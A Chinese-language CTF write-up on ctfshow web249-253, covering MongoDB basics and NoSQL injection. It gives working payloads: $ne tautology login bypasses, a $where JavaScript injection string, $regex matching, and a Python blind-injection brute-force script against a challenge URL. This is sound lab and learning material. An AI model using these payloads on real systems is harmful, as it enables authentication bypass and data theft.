前言
ctfshow web249-253
参考:http://www.mi1k7ea.com/2019/08/11/NoSQL%E6%B3%A8%E5%85%A5%E4%B9%8BMongoDB
基础语法
使用docker上的MongoDB 7.0.0进行测试
数据库
创建/切换数据库
use user
db
查看所有数据库
show dbs
插入数据
db.user.insertOne({"name":"C1oudfL0w0"})
MongoDB 中默认的数据库为 test,如果你没有创建新的数据库,集合将存放在 test 数据库中
删除数据库
db.dropDatabase()
集合
对应MySQL中的表
创建集合
db.createCollection(name, options)
- name: 要创建的集合名称
- options: 可选参数,指定有关内存大小及索引的选项,可选
capped
、size
、max
、autoIndexId
(3.2 之后不再支持该参数)
查看已有集合
show collections
文档
document,对应MySQL的row
插入文档
insert()
方法
db.COLLECTION_NAME.insert(document)
若插入的数据主键已经存在,则会抛出 org.springframework.dao.DuplicateKeyException 异常,提示主键重复,不保存当前数据。
save()
方法
db.COLLECTION_NAME.save(document)
如果 _id 主键存在则更新数据,如果不存在就插入数据。该方法新版本中已废弃,可以使用 db.collection.insertOne()
或 db.collection.replaceOne()
来代替。
实例:
插入文档
db.col.insert({username: 'C1oudfL0w0', password: 'ahaha',level: 100 })
查看文档
db.col.find()
PHP操作MongoDB
<?php
$mongo = new MongoClient();
$db = $mongo->myinfo; //选择数据库
$coll = $db->test; //选择集合
$coll->save(); //增
$coll->find(); //查
$coll->remove(); //减
$coll->update(); //改
?>
注入分类
重言式注入
又称为永真式,此类攻击是在条件语句中注入代码,使生成的表达式判定结果永远为真,从而绕过认证或访问机制
万能密码:username[$ne]=1&password[$ne]=1
联合查询注入
联合查询是一种众所周知的SQL注入技术,攻击者利用一个脆弱的参数去改变给定查询返回的数据集。联合查询最常用的用法是绕过认证页面获取数据
JavaScript注入/$where注入
这是一种新的漏洞,由允许执行数据内容中JavaScript的NoSQL数据库引入的。JavaScript使在数据引擎进行复杂事务和查询成为可能。传递不干净的用户输入到这些查询中可以注入任意JavaScript代码,这会导致非法的数据获取或篡改
username=test&password=a';return true;var c='
题目实战
参考羽师傅的博客
ctfshow web249(memcache)
查询语句
$user = $memcache->get($id);
是Memcache缓存数据库,相关的php语法:
<?php
$m = new Memcache; //创建一个memcache对象
$m->connect('localhost', 11451); //连接Memcached服务器
$m->set('key', 'test'); //设置一个变量到内存中,名称是key值是test
$get_value = $m->get('key'); //从内存中取出key的值
$m->close();
?>
那么很明显就是从get
方法入手
向get
中传入参数或者数组,就可以返回指定的键值对
所以直接查询即可(题目好像不能直接传入参数只能传数组)
?id[]=flag
ctfshow web250(永真式)
查询语句
$query = new MongoDB\Driver\Query($data);
$cursor = $manager->executeQuery('ctfshow.ctfshow_user', $query)->toArray();
没有过滤
是MongoDB数据库注入,对应的基本语法:
SQL术语/概念 | MongoDB术语/概念 | 解释/说明 |
---|---|---|
database | database | 数据库 |
table | collection | 数据库表/集合 |
row | document | 数据记录行/文档 |
column | field | 数据字段/域 |
重点还是MongoDB的条件语句
操作 | 格式 | 范例 | RDBMS中的类似语句 |
---|---|---|---|
等于 | {:} | db.userinfo.find({“name”:“C1oudfL0w0”}) | where name = ‘C1oudfL0w0’ |
小于 | {:{$lt:}} | db.userinfo.find({“age”:{$lt:20}}) | where age < 20 |
小于或等于 | {:{$lte:}} | db.userinfo.find({“age”:{$lte:20}}) | where age <= 20 |
大于 | {:{$gt:}} | db.userinfo.find({“age”:{$gt:20}}) | where age > 20 |
大于或等于 | {:{$gte:}} | db.userinfo.find({“age”:{$gte:20}}) | where age >= 20 |
不等于 | {:{$ne:}} | db.userinfo.find({“likes”:{$ne:20}}) | where age != 20 |
AND 查询
db.userinfo.find({key1:value1, key2:value2})
OR 查询
db.userinfo.find({$or: [{key1: value1}, {key2:value2}]})
查询,类似于 where username='C1oudfL0w0'
,其中userinfo是集合名
db.userinfo.find({name:'C1oudfL0w0'});
而在条件语句中有一句可以利用的是
db.userinfo.find({"likes":{$ne:20}})
即 where likes != 20
,这个式子一定是永真的
所以回到题目
我们传入 username[$ne]=1&password[$ne]=1
,等价于where username!=1&password!=1
即可实现永真
ctfshow web251
上一题的payload打进去即可
ctfshow web252(正则)
查询语句
db.ctfshow_user.find({username:'$username',password:'$password'}).pretty()
pretty()
函数纯美化,所以查询语句根本没变
用之前的payload打发现这题flag不在admin下了,应该是在其它条目里
这里就需要用到正则匹配了,用^
查找以什么为开头的字段
username[$ne]=1&password[$regex]=^ctfshow{
ctfshow web253(盲注)
上题的payload能登录成功,但是不回显查询内容了
这个时候我们尝试在上题的payload基础上再加个字母
登录失败,那么应该可以进行盲注
脚本
import requests
string="abcdefghigklmnopqrstuwxyz1230456789{}_-"
flag='{'
url="http://271deadc-a024-466a-ab2f-cc617799befb.challenge.ctf.show/api/"
while True:
for j in string:
data={
"username[$ne]":1,
"password[$regex]":f"ctfshow{flag+j}"
}
r=requests.post(url,data=data)
if "\\u767b\\u9646\\u6210\\u529f" in r.text:
sign=j
flag+=j
print(flag)
else:
pass
if sign=='}':
break